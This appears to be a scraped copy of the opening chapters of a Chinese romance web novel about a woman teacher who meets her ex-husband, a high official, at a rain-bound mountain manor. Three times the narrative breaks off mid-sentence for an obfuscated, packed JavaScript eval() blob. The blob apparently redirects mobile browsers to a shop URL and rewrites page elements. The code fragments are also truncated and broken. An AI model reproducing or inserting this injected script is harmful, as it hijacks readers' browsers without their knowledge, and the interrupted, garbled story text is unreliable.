《和离后的第五年》 1. 重逢 01 山中,夏雨如注。 “姑娘,里外都已打点妥当——” 窗外雨丝飞舞,错落拍打在叶采薇的面上,她听见身后婢女的话,微微一顿。 叶采薇回头,问鹂被她瞧了一眼,后面的话卡在喉咙。 是自己开口叫错了。 和离之后,叶采薇让问鹂改口称她“先生”,已经有五个年头。 五年来问鹂从未出错过一次,而就在方才,她看到了叶采薇的前夫容津岸。 五年未见,却意外在这座人迹罕至的山庄中重遇,问鹂失了分寸,也情有可原。 只是她不知该不该向叶采薇说明此事。 与此同时,另一声“先生”自她身后起,叶采薇的目光也被吸引过去—— 是叶采薇在青莲书院的一名学生,青年,今年刚刚二十岁。 他说自己急病初愈,想请叶采薇同他一道,向那位赠他灵药的康和县主当面致谢。 这次上山,是叶采薇带几名学生来采风。青年们虽未及冠,却是个个英姿勃发,手长脚长步履飞快,将她抛在后面整整两个时辰。 偏偏暴雨忽至,她和问鹂赶到这座山庄时,才听说其中一位突发急病,幸而得了康和县主馈赠,才保下性命。 学生受此大恩,当面言谢自是理所应当。 只是见到那位康和县主时,叶采薇生出了恍惚。 她的男学生同样如此。 这世上怎会有如此巧合的事?在这山中庄园萍水相逢又救他一命的县主,竟然和老师有几分肖似。 “倒也不必多谢。” 居于上座的康和县主也有所发觉,她一身绫罗,珠围翠绕,眉目斜飞着,睥睨男学生青稚而难掩惊愕的脸。 康和县主狡黠的笑容与叶采薇全然不似,就像善良如叶采薇,绝不会这样回应旁人诚恳的谢辞: “其实,我是根本不愿意救你的。” 这话让叶采薇黛眉蹙起,她又听到身后传来脚步声。 褪去青涩的、男人的脚步声,让叶采薇呼吸一滞。 “是津岸哥哥劝我,说救人一命胜造七级浮屠。” 话是说给师徒二人听的,康和县主的脸,却像是迎着阳光的向日葵,独独朝向进来的男人。 “就算是不知道外面这场暴雨何时能停、我们何时能脱困,就算从京城带来的稀世灵药只有一颗,我是陛下亲封的县主,对待自己的子民,不该如此吝啬。” “津岸哥哥……容大人,我说得对不对?”向日葵的花心朝男人拧出了水来,娇柔妩媚。 叶采薇的嘴唇在短短几句话里一点一点干涸,仿似半年不见雨水的荒漠。 心跳乍停的片刻,那个人已经走到了她的身前。 她抬头,撞进他漆黑的眼眸,深不见底的渊薮,嵚崎磊落的雪峰。容津岸的目光只停留了一息,便转到她身旁的男学生脸上。 “原、原来是,容、容大人……”男学生向来自恃口齿伶俐,这会儿竟期期艾艾。 不怪他控制不住声线颤抖,而是当他在急速搜索中反应过来,眼前这位容貌着实出众的男子为何许人也时,激动根本难以自持。 姓容、年轻有为、俊朗挺拔叫人移不开眼,除了容津岸,不可能再有第二个“容大人”。 容津岸,当今清流领袖、内阁最年轻的阁臣,以一介布衣之身由科举入仕,短短五年内平步青云、成为天子肱股,天下读书人,无一不将他视作楷模标范。 而此刻,外面暴雨如注,容津岸分明一言不发,男学生却竟然不争气地汗湿了后背。 这样的失态让康和县主得了微末的闲趣,她不在乎眼下微妙的尴尬,眉目斜飞,落于容津岸平静的俊容,感叹: “这可真是太有缘了。” “津岸哥哥,你劝我救他的时候,应当不知道他长得像你吧?” “不过,几分形似而已,脾性和风骨比起你来,可是差多了。” 金猊炉里香烟袅袅,将杯盏中的茶香掩盖大半。 是康和县主主动邀请叶采薇师徒留下来品茗的,倒没有为她自己的出言不逊致歉,而是说自己虚活了十六载,第一次见到女子作教书先生。 只是,这命好到与她有几分相似的先生,该如何称呼呢? “民妇姓姚。”叶采薇抢在自己的学生之前开口,言毕顺势用目光压下对方眼中一闪而过的错愕。 “哦,姚~先~生~”像是恍然大悟,尾音拉长如长缎,康和县主眼里的长缎有意无意将容津岸笼住。 容津岸好像“嗯”了一声,喜怒不辨,长指摩挲杯沿。 “民妇……既然姚先生如此自称,那必然已经是成过亲的了。” 康和县主再次将话题延伸,她为自己的见微知著得意,眼尾上挑,语气也上挑: “不知,姚先生你的夫君……” 虽然是长得有几分姿色,但既已嫁为人妇,不好好在家中相夫教子,出来抛头露面作甚? 更何况,就光是这一个男学生看她的眼神,就如此不清白,她天天和男学生打交道,岂不是…… 容津岸骨节分明的长指不知什么时候停下来的。 “他死了。”叶采薇接住对面的目光,一动未动。 “是五年前的事,亡夫不过凡夫俗子,也并未给民妇留下什么财产。” 自嘲的语意带笑,似乎对早逝的夫君没有半点怨怪。 “民妇是个俗人,要吃饭,要生活。好在出嫁前略读了些书,够在书院教学,混口饭吃。”叶采薇补充。 康和县主一听,心里头那点疙瘩,一下便舒坦了下去。 瞧这姚氏,还欲盖弥彰穿男装,拧着那张狐媚子脸,硬凹什么文人风骨,其实,从头到脚的穷酸气,熏的她头疼。 也就是天生克夫的穷苦命,背地里不知道跟几个学生玩多少花样。 幸好跟她只是有一点点像。 “五年,日子不短了。”一直沉默不语的容津岸突然说: “这位郎君早早撒手人寰,当年,想必极为不舍。” 清越的嗓音收住,他端起了茶盏。 粉青色的官窑胎壁极薄,衬得他手背的皮肤更加白。 喉结伴随他吞咽的动作而上下滚动,叶采薇只看了一眼,旋即垂眸。 有一回,她听说容津岸在国子监病倒,心急如焚,便女扮男装混入他的寝房,照顾他整日整夜。 那时候他的皮肤因为病痛而惨白。 他发着低烧,她为了保持他嘴唇的湿润,用指尖蘸着温水,一点一点涂上去。 他醒来时,她担忧的泪珠还挂在唇角,他抬手为她拂去,然后轻轻吻下来。 “小猫,不要为我掉眼泪。” 她以为他会说“我舍不得”,但他只是亲吻她。 还有后来,她引着他早早做了那些事,无数个阒静又旖旎斑斓的黑夜,汗水被揉进极致的欢愉,容津岸点亮烛火,细细看他在她皮肤上留下的痕迹。 “小猫,下次提醒我,轻一些。” ——就连那个时候,他都不会用“不舍”这样浓墨重彩的词汇。 与她和离后的第五年,他却轻描淡写地宣之于口。 是因为身边有了康和县主,他终于肯为佳人折腰了? 人横竖是会变的。 *** 无聊的品茗结束,带学生离开,叶采薇自己回房歇晌。 被问鹂叫醒时,窗外的雨还没有停,反而越下越大。 也不知他们要被困在这里多久。 “先生,康和县主在外面。”问鹂又来报。 今日的问鹂,经历了前所未有的心境起伏。 先是初到山庄时,她只远远瞥见容津岸一人。 那时候她欣喜若狂,心存幻想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282118|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 五年来,叶采薇从不提他哪怕半个字,决绝至极,既然今日这般巧遇,若是昔日的姑爷肯主动一些,破冰化水,也好玉成美事一桩。 谁知,时光荏苒,容津岸早已佳人在怀,在这山庄里同消夏暑。 而这位佳人不仅出身高贵、脾气不小,长得还同叶采薇有三分肖似…… 问鹂脑海里蹦出了“替身爱人”四个字,旋即觉得荒谬。 叶采薇自是没空琢磨问鹂为什么莫名其妙摇了摇头。 容津岸的新欢不请自来,光是在外面一站,她就不得不出面应付。 她又把重遇容津岸的点点滴滴仔细回忆一遍,不觉得自己哪里漏了陷,让几个不知内情的人看出端倪。 “快到晚膳时分,姚先生还在歇晌,青莲书院对老师的待遇,比我想象中好上不少。” 见她施施然来,康和县主的语调,难免又添了几分尖酸。 眼下只有她和她在,和善的伪装无须硬撑,褪去大半。 叶采薇自然听出了她言语的讥讽,懒得接招,直言: “民妇这趟上山匆忙,所携不过换洗衣衫,能喝上明前龙井这样的极品,还要多谢县主慷慨款待,若是郡主关心那位学生的健康,民妇这就去叫他来。” 说着,就要向问鹂招手。 “我是专程来找姚先生的。” 康和县主瞧着自己花纹繁复的袖口,从中掏出蜀锦绣帕,得意从眸中溢出。 “明前龙井”这个名字,还是她在与这对师徒茶叙时,状似不经意提起的。 姚氏穷酸乡巴佬一个,别说尝过,应当连听也不曾听过的。 上等的明前龙井一年只得五斤,她家独得陛下荣宠,也才堪堪从禁中分得半斤。 一想到这样珍贵的茶被乡巴佬糟蹋了,康和县主心口又被堵得严严实实: “姚先生,你与容大人是旧识?” 这话却把叶采薇问住了。 哪里出了纰漏,被这县主发现,过来对她兴师问罪? 也许是她和容津岸那点点相似的口音,也许是她现在看上去实在是太穷了,而刚好,容津岸入仕前出身农门。 但她仅仅一霎的迟疑已让康和县主得了答案,只见这县主上身微微后仰,眉目舒展,一副尽在我手的正室姿态,语气却更加尖酸: “姚先生,我没有旁的意思。” “你也知道我年纪小,比津岸哥哥小了整整一轮,他有过往、故交旧友,十二年的时光,我缺席这件事,已成不可追。” “只不过呢,我与他毕竟即将结为夫妇,夫君的过往,妻子哪有不知情的道理?” 话已至此,叶采薇只能含笑: “恭喜县主与容大人,好事将近。” 她人还在站着,正要多说点好话结束这场无谓的对话,却又听对面说来: “姚氏你应当知道的吧,津岸哥哥从前其实成过亲。他那位前妻,是废太子同党、前太傅叶渚亭的独女,叫、叫,叶、叶……” 康和县主皱眉停下。 叶采薇紧绷的胸口缓了过来。 看来是她庸人自扰,与容津岸这一次不期重逢,两人谁都没有对曾经那样亲密的关系表露半点。 默契十足,就好像六七年前,他们也默契地从不在外表露爱侣的关系那样。 默契到,后来他们那样仓促地成亲,几乎所有人都以为,容津岸是为了对叶渚亭这位伯乐的知遇之恩投桃报李,才不得不娶她的。 “家父与容大人的父亲,同是徽州人士,因而民妇与容大人,从前且算旧识。” 说完两句真话,叶采薇停了一息: “只是,民妇很早就跟随家父离开故土,对容大人的事,知之甚少。” “那……”康和县主不疑有他,上身又倾了过来,手中巾帕攥紧: “姚先生对那位叶氏,了解多少?” 2. 醉酒 02 叶采薇忽然很想笑。 没有什么来由。 她看向康和县主: “叶氏是容大人的前妻,县主想多多了解她,问容大人便好了,民妇又怎么会知晓?” 康和县主前倾的上身僵住。 她原本以为,自己早已经轻松拿捏了眼前这个妇人,却不想一句反问,她就被问得哑口无言。 “姚先生说笑……”眼神一闪,攥着巾帕摸了摸鼻尖。 “津岸哥哥当然早就跟我坦白一切,我只是嘛,还余了些许好奇。” 叶采薇的容色柔和舒朗起来。 这是她教书第四年,手下的学生数量不多,脾性却千差万别,为了使教授事半功倍,她也好生下了一番工夫,掌握恩威并施之技。 面前这位康和县主,涉世不深,心高气傲,她只需要做个绝好的聆听者,不接招、不反驳,让其在反复的自我表达中不断认同“全天下本县主最对”的观点,就能快速打发。 “津岸哥哥说了,叶氏其人,长相平平,才华平平,品性……品性倒不是平平,是个极坏的。”康和县主轻咳。 “她的父亲叶渚亭原来风光无限,当世大儒、官历六部,又是津岸哥哥的恩师,那叶氏便倚仗这些,逼着津岸哥哥在废太子逆案爆发后娶她,苟活下来。” “这么看,确实是个极坏的。”叶采薇点头附和。 “是啊,京中贵女,哪一个不讨厌叶氏?”康和县主越说越激动,“叶氏行事相当招摇,把人得罪了个遍,也是津岸哥哥给她留了几分体面,没有把她休了,对外称,是与她和离。” 想起自己那封龙飞凤舞的和离书,叶采薇又点了点头,“原来其中有这么多曲折。” 然后不接话。 这下,康和县主陷入沉默,似乎忘记了自己此番过来,是为了打听更多关于叶氏的事,而不是一通嚷嚷。 “不过,不过嘛——” “县主所言,足以概括叶氏其人。”叶采薇适时地停顿,像是给了对方说话的余地,却又立刻自己补上: “既然叶氏如此不堪,容大人与她再无瓜葛,实乃大幸。” “而容大人对县主如实坦白,必然不会像寻常负心汉那样,将休掉的前妻贬得一文不值。” “容大人何许人,风姿卓绝世所罕见,哪里需要用贬低旁人来拔高自己?至于叶氏,民妇不知其人,既然她早已从容大人的生活消失,县主当然不必好奇。” 终于把康和县主送走,叶采薇看向立侍一旁的问鹂: “你怎么这副样子?” 问鹂的神色一言难尽,两只眼各自写了无数疑惑。 “那县主这样称呼姑爷……哦不,容大人,姑娘你……不觉得恶心吗?” 从前,问鹂的称呼只有“容公子”和“姑爷”这两种,毕竟容津岸是在与叶采薇成亲后才入的翰林。 那一句句“津岸哥哥”,可是让问鹂鸡皮疙瘩掉了一地。 “恶心?”叶采薇反笑,“人家夫妻的事,与我们外人何干?” 这世上除了她,本就有千人万人可以仰慕他贪恋他,她已经占了第一个位置,还想他的身边永远有她的影子吗? 她如果真是这样的人,当初就不会主动提出和离,并且强硬而彻底地,断掉和他所有联系的可能。 她要懂得知足。 “不在这县主和学生们面前表露身份,有我自己的考虑。”眼看问鹂的眉头越锁越紧,叶采薇摆了摆手: “得保守秘密,对我们大家都是好事。” “可是……”问鹂的眉头仍旧皱成一团。 “康和县主对我明目张胆诋毁,我却无动于衷?”叶采薇仿佛读懂了自己婢女的心事: “也许呢,她并没有诋毁我。” 她一顿,收起了眼神: “这些话,都是容津岸亲口说的。” 问鹂没有再接了,其实,她并不完全认同自家姑娘的想法。 容津岸是个极其低调且谨慎的人,不会允许身边的人这样大张旗鼓地表露关系。 至于那些诋毁前妻的话…… 万一又是误会呢? 毕竟叶采薇和容津岸的初识,就已经充满了误会。 那是嘉泰四十一年的八月,自全国各地官学推荐上来的士子云集京城,入国子监继续求学。 叶渚亭身居高位又乃当世大儒,叶府一时门庭若市。 那一天,士人如织,叶采薇不便抛头露面,便躲在了九折的落地围屏之后暗中观察。 秋高气爽,但花园里国子监新生们的高谈阔论,却令叶采薇无比焦躁——饶是见多识广如她,也第一次见识这么多半桶水聚在一起叮叮当当。 容津岸就是在她即将败兴离开时,出现在视野里的人。 隔着一层绦环板,只见身形颀长清瘦,墨发高束,眉眼深邃,皮肤和他的目光一样,极白也极冷。 与周围人的夸夸其谈相比,他显得那样不合群。 外表出众总是格外引人关注,旁人拿出早就准备好的文章、纷纷等待叶渚亭的品鉴,见容津岸一动不动,嘲讽当即叫嚣。 “原来昨晚憋了通宵都写不出来。” “两手空空来什么叶府?叶阁老贵人多忙,一寸光阴一寸金呐!” “惺惺作态,沽名钓誉,某生平最不齿与这种人为伍。” 置身讥潮诮海,容津岸像一只孤鹤,是叶渚亭放飞了他: “有时偶然兴之,反而能成佳作,我这边墨刚研好。” 叶采薇对容津岸挥斥方遒的手,印象极深。 干净修长,骨节分明,清晰凌厉。 这双手写出来的文章,扬葩振藻,瑰玮斐然,从起笔第一句开始,那些诋诽便一个一个闭上了嘴。 等到众人离去就餐,叶采薇走出围屏,迫不及待拿起他被叶渚亭赞不绝口的文章细读。 “华而不实,徒有其表。” 并非叶采薇有意唱反调,只是她一向主张为文鞭辟入里、简明扼要,容津岸的文章令她失望。 谁知中途折返寻物的一名士子听见此言,转头就添油加醋,向就餐的众人大肆宣扬: “叶大姑娘说,容津岸的文章看起来唬人,实际草包点心,狗屁不通!” 一语双关,否定其文,也否定其人。 其实叶采薇在当时并不知晓这些事,因为她转头就满心扑在了为自己终身大事筹谋上,要向皇帝退婚。 而一直到现在,八年过去,她也仍不觉得当年对容津岸文章的评价,有任何问题。 “下个月就是秋闱,你们务必切记,文章要提纲挈领,不可空有华辞。” 山中的暴雨仍未停歇,师徒几人围炉夜谈。叶采薇的酒品很不好,五年来自觉滴酒不沾,今晚却破了戒。 这几个学生,每一个她都手把手地教了两年多。今晚他们全都起哄为她斟酒,感谢她的悉心栽培,她也觉得不该扫他们的兴。 话题飞来绕去,最终落回到即将到来的科举上。 “我、我时常想,以先生力透纸背的才华,若先生是个男子,早早由科举入仕,所居所成,断不会比任何当朝大员差。”有学生借着酒劲吐露真言。 “是啊,先生的诗文,佳作无数,有不少,我还能倒背如流呢。”另一人附和。 这两人说完就双双倒了下去,和先前就醉倒的其他人,乱七八糟叠在一起。 叶采薇将杯中酒一饮而尽。 “先生,先生。”她身旁仅余的学生叫住她。 此人名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282119|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫佟归鹤,正是今日突发急病、又与叶采薇一起见了容津岸和康和县主的那位。 “容津岸容大人的文章,学生也有幸读过。”他重新绕回了叶采薇最初的嘱咐上。 “嗯?”叶采薇眼含薄醉。 “他的文章,靡丽穷奇,铺锦列绣……” 相比于其他人醉得不省人事,佟归鹤只是面颊发红,口齿仍旧清晰,条理明确: “嘉泰四十三年、四十四年,他连中会元、解元,又在殿试里拿下探花。先生若说,追求凤采鸾章是不对的,那么,他、他又是凭何高中?” 叶采薇“嗤”地笑了出来。 凭什么,凭他的真才实学啊。 和他同窗两年多,她最了解他的学问。 容津岸的厉害之处,在于他不仅把文辞写得富丽堂皇,而且内容还极其深刻,见地独到。 连她都不得不服气。 “凭他那张脸,凭他那手字。” 叶采薇斩钉截铁,说完就把脸枕在了手臂上,视线被酒意模糊。 只剩下了佟归鹤,他反复品咂着老师的这句话,啧啧: “我、我的字不差,我的脸……我的脸和他还有几分相像呢!” 到了保和殿上,他肯定能多占点便宜。 然后又回过味来: “先生,你见过容大人亲笔?他、他惯写哪种书道?” 叶采薇头脑昏沉。 容津岸用长指蘸着她的汁液,在她冰凉的后背上写字时,用的是哪种书道? 她那时候只顾着和他打赌、赌她能一字不落说出他写的是什么,全神贯注感受,哪里晓得他用的哪种书道? 当然最后她赌赢了,他也愿赌服输用唇舌把那些字清理干净,她还管他用的哪种书道做什么? “你、你不要学他……” “他这个人,表里不一,最会装腔作势……” 陷入沉睡前,叶采薇嘟囔着,对佟归鹤答非所问。 而半醉的佟归鹤已经听不进自己的老师说了什么。 轩外雨声大作,将他身侧同窗们的细微鼾声尽数淹没。 他的老师在他斜侧睡着了。 今日他才第一次知道,老师原本姓“姚”,还曾经成过亲。 她这般才华横溢,又貌美不可方物,她那位夫君何其有幸,可以名正言顺拥有她? 但也许,那个人为此耗尽了一生的运气,所以他死了。 佟归鹤想到这里,觉得自己很不地道。 他深深看着自己老师的醉态。 娇靥因为醺然泛起微微酡红,樱唇乌鬓,眉目如画,似惊鸿出水,若神女临凡。 他对她,是君子好逑的倾慕。 不知那份倾慕是自何时起的。 也许是初见时她眼底的沥沥清泉,也许是她对他课业中低级错误不留情面的批评,也许是她一贯沉肃面容、却偶尔因为他们绽放的笑。 总之,等到佟归鹤反应过来时,他已经深陷。 他挺直了脊背,向他倾慕的老师靠过去。 咫尺距离,即使醉眼朦胧,他也能看清她面颊上细细的绒毛。 还有扇子一样浓密纤长的羽睫,在她眼下,投出一片阴影。 若是吻上去,老师会醒吗? 可是他管不了那么多了。 四下无人,他可能只有这一次机会。 ——然而眼前,却突然出现了一双清晰凌厉的大手。 阻拦了他的不轨。 佟归鹤眯着眼,视线上移,头颅越来越沉。 “叶先生没有教过你们,我才是她的夫君吗?” 男人峨冠玄袍,眸间凛冽,居高临下地睥睨。 是……容津岸。 他怎么会出现在这里? 3. 擅闯 03 容津岸…… 他怎么会出现在这里? 佟归鹤脑中的疑问不止这一个。 酒意和突然来临的男人使他头脑愈发混沌,又是仰视,他的舌头不由自主打结: “叶、叶先生?” “你?” “夫君?” 这都是什么跟什么? 奈何此时自己笼罩在天子近臣黑压压的身影里,佟归鹤没有胆量表达他强烈的不满。 这容大人不去陪他的康和县主,跑到这儿来做什么? 哦,先生长得与康和县主有些相像。 不不,先生可要美多了!碾压式貌美! ……难道,这容大人见色起意,要跟他硬抢? 是,姓容的是权势熏天,强抢民女不算什么,可、可…… 清流领袖,不是下.流领袖! “容大人,可是醉了?”耳边传来第三个声音,是问鹂姑娘。 佟归鹤和容津岸一齐看过去。 问鹂匆匆赶到时,刚好看见容津岸阻止佟归鹤那一幕。 情敌对狙? 叶采薇已然醉倒,问鹂必须要保护自家姑娘。 她硬着头皮,继续对容津岸正色道: “奴婢过来时,那边县主的人,正在到处寻你呢。” 容津岸的神色晦暗不明。 “我家先生姓姚,她也已丧夫多年。”问鹂一直谨记着叶采薇的叮嘱,不可以对外暴露他们的关系,只用一句话,便否定了容津岸对佟归鹤所有质问的底细。 “夜色深了,奴婢熬了醒酒汤,佟公子要喝一碗吗?”又转向佟归鹤。 佟归鹤扫了扫身边烂醉如泥的同窗,突然脚下一软,“咚”地一声,加入了他们。 *** 宿醉醒来,叶采薇头很痛。 但她甫一睁眼,又察觉房内气氛不对。 有熟悉的、男人的气味。 她坐起来,看到容津岸在窗边。 暴雨仍旧未停,山庄这一侧的厢房相对简陋,窗沿漏风,沾了山泥的雨水噗哒噗哒地往里渗,容津岸身上的长衫是浣花锦的材质,被这样浸湿大片,饕餮暗纹却仍旧狰狞。 晦暗不明的光线在他眸中反射出斑斓,千年不倒的松柏,从来在狂风骤雨中矗立。 他望着她。 不知这人何时来的,已经这样望了她多久,叶采薇检查衣衫,没有发现多余的痕迹。 余光瞥到床尾处,那里还挂着她昨晚换下的里衣和亵裤,不断提醒她,容津岸是个胆大包天的擅闯者。 她的心跳又加快了。 “你怎么在这里?”她决定先发制人。 “证明我还没死。” 倾盆的暴雨使得室内光线昏暗,大风横七竖八,把那人身后的窗户吹得晃来荡去,发出了远远高过雨声的响动。 容津岸的薄唇动过,被这些杂音覆盖,不知道回答了她什么。 叶采薇懒得与他纠缠,伸手将床尾的衣裤拽下,然后准备出门找问鹂。 问鹂跟了她已逾二十载,聪敏可靠,怎么会让和离五年的前夫进她的房间? “薇薇。”这一次,容津岸的声音十分清晰。 叶采薇还在头疼,更疼了。 说不清是因为宿醉,还是因为那个有五年没被任何人叫过的昵称。 她要庆幸他没有说“小猫”两个字,否则她会忍不住怀疑,过去的五年,都只是她的一场梦。 眼下的情景,与从前太像了。 她主动跑去找他,在他的注视下,一件一件除褪衣衫。 她受不了他的眼神。 呼吸忽轻忽重,想要声息平稳,却总是徒劳。 而他衣冠楚楚,只是衣摆凌乱。 房门被骤然推开的动静打断叶采薇濒临绝境的思绪,问鹂钻了半个身子,轻手轻脚地进来。 看样子,是以为她还在熟睡,来看看她。 她差点就错怪问鹂了。 问鹂先是看到了窗边的男人,容津岸一动不动,被雨水打湿了半身,眉眼冷峻。 这瞬间,让问鹂恨不得自己被外面的雷电一头劈死了事。 容津岸这是在做什么?他有没有身为即将再为人夫的自觉? 即使他是……他也不能这样! 先是昨晚上莫名其妙跑过来,差点在佟归鹤面前说漏嘴;这会儿天才刚刚亮,他又趁自己离开房门的空隙,偷偷溜进姑娘的卧房。 他属猪,不是属狗! “外面,还有没有别人?”此时的叶采薇立刻道: “问鹂,趁着没被看到,请容大人出去。” “好。”问鹂提心吊胆,刚要动作,又被容津岸的眼神止住。 她可太难了。 “既然容大人如此冥顽不灵,就只好去请康和县主过来一趟了。” 叶采薇向问鹂再次投来目光。 容津岸登时提高了音量:“叶采薇,五年不见,你怎么变成这样?” 窗户快要被外面的狂风吹散架,问鹂觉得自己也快要散架了,她阖上房门,溜到窗边去,连忙将窗户关好。 “这样是哪样?”风声雨声被阻隔在外,叶采薇的声音也因此放大了干哑。 容津岸沉默了一息。 “你不要名声了吗?”他说。 问鹂心头打鼓,又悄悄溜到门口,出去了。 这两人绝不会旧情复燃,只是剑拔弩张的气氛下,不知道要说出多少可怕的话,她必须在门外守着,保证不被任何人听见。 “你和那县主吵架了?”叶采薇简直觉得莫名其妙。 是他不顾礼数擅闯她的房间,现在又高高在上地指责她不要名声。 “惹恼了人就去哄,跑到我这里来发什么疯?”叶采薇瞪圆了眼睛,“你以为我还像原来那样,随时随地对你发.情吗?” 话出口她就愣住了。 倒不是因为放浪的言语而羞赧,她在他面前什么放浪的话没说过,只是时过境迁,战斗刚刚开始,她却先自己贬低自己,气势就输了好大一截。 她要赢,她必须要为自己出口恶气,谁让他居然在那个小小县主的面前,说了她那么多坏话! “怎么,你想发?”果然,容津岸迅速抓住关键。 “呸!”叶采薇的视线在他身上来来回回,满眼都是嫌弃: “今时不同往日,我审美提高了,不是什么脏的臭的都吃得下。” “你呢,你已经二十八了,上了年纪,”她伶牙俐齿,乘胜追击,“哪里比得上年轻人,身体强壮,精力充沛,折腾一晚上都不带喘的。” 容津岸苍白的皮肤因为她的话迅速泛起了红。 “嘴长在脸上,是用来说话、用来哄人的,至于旁的用途……”叶采薇说完停了一下。 尽管那康和县主对她一点都不客气,她也断不能在人家未婚夫面前诋毁对方的清誉。 不是人人都像她一样,对那种事热衷又上瘾,以至于婚前根本忍不住。 “五年,五年不见,容津岸,你不会一成不变吧?”她用他的原话来继续攻击他。 “还是不懂怎么哄人?” 容津岸一瞬不瞬盯着她。 真被她说中了,这个男人不思进取,至今白长一张嘴,根本不会甜言蜜语。 但这事归根结底,她要负上不小的责任。 当年是她死皮赖脸缠上他的,哪里需要他来哄,一大半的话都被她说了。 即使他真的惹恼了她,她一个人生半天闷气,也就自己想通了。 也是容津岸运气不好,在他情窦初开、正是该好好学习的时候,遇到她这么个不按常理出牌的人。 怪她,怪她把他惯坏了。 想到此处,叶采薇心底浮上一丝丝愧疚,深吸了一口气: “这样吧,昨天我说了,我现在是个老师。” “哄人的本事,要我教你,可以,但你得求我。” 芙蓉面上难得摆出了好整以暇的姿态。 容津岸怒极反笑:“你当着我的面说我已经死了,我不追究你胡言乱语就罢,反而还要来求你?” 叶采薇一愣。 原来他这是后发制人,隔了大半天,来找她兴师问罪的。 “当初说好的,死生不复相见,”她缓缓咽下口中的津液,“这跟死了有什么区别吗?我说我丧夫,你也可以说你丧妻呀,反正你们所有人,都巴不得我死了。” “叶采薇,你的酒到底醒了没有?”容津岸的拳头不知什么时候捏紧了,一副她简直不可理喻的模样,“我真是后悔,一大清早就来看你。” “谁要你看了?是我求你看的吗?”话题到这,叶采薇再一次难以自控,“我们现在是什么关系,你摸着你的良心,说不出来吗?” “还是清流领袖……整整五年了,你的道德水平,又下降了一个台阶?容尚书,容阁老,”她刻意强调对方的身份,“你擅闯民妇卧房,若我铁了心闹大——” “薇薇,阿娘她走了。”容津岸忽然说。 叶采薇看过去。 “病入膏肓,药石无灵,已经走了一个多月。”他解释,“这一次到池州,是丁忧而来。” 叶采薇脑海里浮现许多事,一时间忘记反问,丁忧明明该回徽州,怎么来了池州。 下山猛虎收起了自己的利爪和獠牙。 风雨被关在门窗之外,室内沉闷,容津岸想到自己离开京城南下时,忽然决定改道来池州的情景。 “容津岸。”她叫他的名字。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282120|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向她投去目光。 “和离的时候说过的话,到现在仍旧作数的。”她顿了顿,“这次,这座山上,是碰巧遇见,不会再有下一次。不会。” 容津岸面上的皮肤又渐渐恢复了苍白。 “如果着实不巧,还有下一次,希望你也和这次一样,不要对任何人透露我们的关系。”她接着说。 “容阁老乃是天子肱股、位极人臣,这点信用,还是要讲的吧?” 所幸容津岸离开时,没有被任何人发现。 问鹂把他顺利送走,回来,还在犹豫要不要把昨晚发生的事告诉自家姑娘。 “你都听到了?”叶采薇却先问她。 问鹂点了点头。 她出去是为了防着外面,实则耳朵贴在门上,掌握着房内的动静。 “你说,我的话是不是太过分了?” 问鹂看向自家姑娘。 张牙舞爪的猛虎经历一番恶斗,眼下眉目低垂,青丝微乱,眼眶不知道是什么时候红的,瞳孔里星色微闪,却分明是脆弱不堪的模样。 问鹂没有回答她的问题,只是走向了床边。 “他的阿娘也走了。”叶采薇说着,抱住了问鹂的腰,把头靠向她的胸口。 “这下,他和我一样,都成了无父无母的孤儿。” 问鹂任由叶采薇将自己越抱越紧。 其实,容津岸的母亲游秀玉,不算一个很好相处的人。 但她家姑娘总说,游氏青年时经历坎坷、丈夫和长子又相继去世,游氏又独自一人在贫苦中把幼子容津岸拉扯成才,若换作是她,必然做不到这样。 是以婆媳间诸多龃龉,叶采薇都不去计较。 想到此处,问鹂忽然察觉不对劲: “我朝以孝治天下,丁忧乃是大事,以容大人与游娘子的母子情谊,容大人必得为游娘子守孝三年。” 叶采薇仍旧抱着她。 “三年孝期,不得婚娶、诞育子嗣,可是昨日那康和县主却说,她与容大人即将结为夫妇……到底谁在说谎?”问鹂皱着眉头。 *** 暴雨在午后突然停了,两名学生自发出了山庄检查一番,回报说道路湿滑泥泞,但硬要下山,也不是不可以。 叶采薇决定立刻动身。 佟归鹤听来,暗暗遗憾。 其实他对昨晚的记忆很浅,只记得先生即使喝醉,也是千叮万嘱,要他们为文重质轻表。 而之后的事,他摸着后脑勺嗑出来的大包,怎么也想不起来。 与先生这样疏懒肆意的清谈,不知道下山后还有没有机会。 临走,叶采薇带着几个学生去向康和县主辞行,再次表达对那颗灵药的感谢。 但不巧县主在歇晌,她刚给婢女留了话,身后的佟归鹤却惊喜说道: “容大人!” 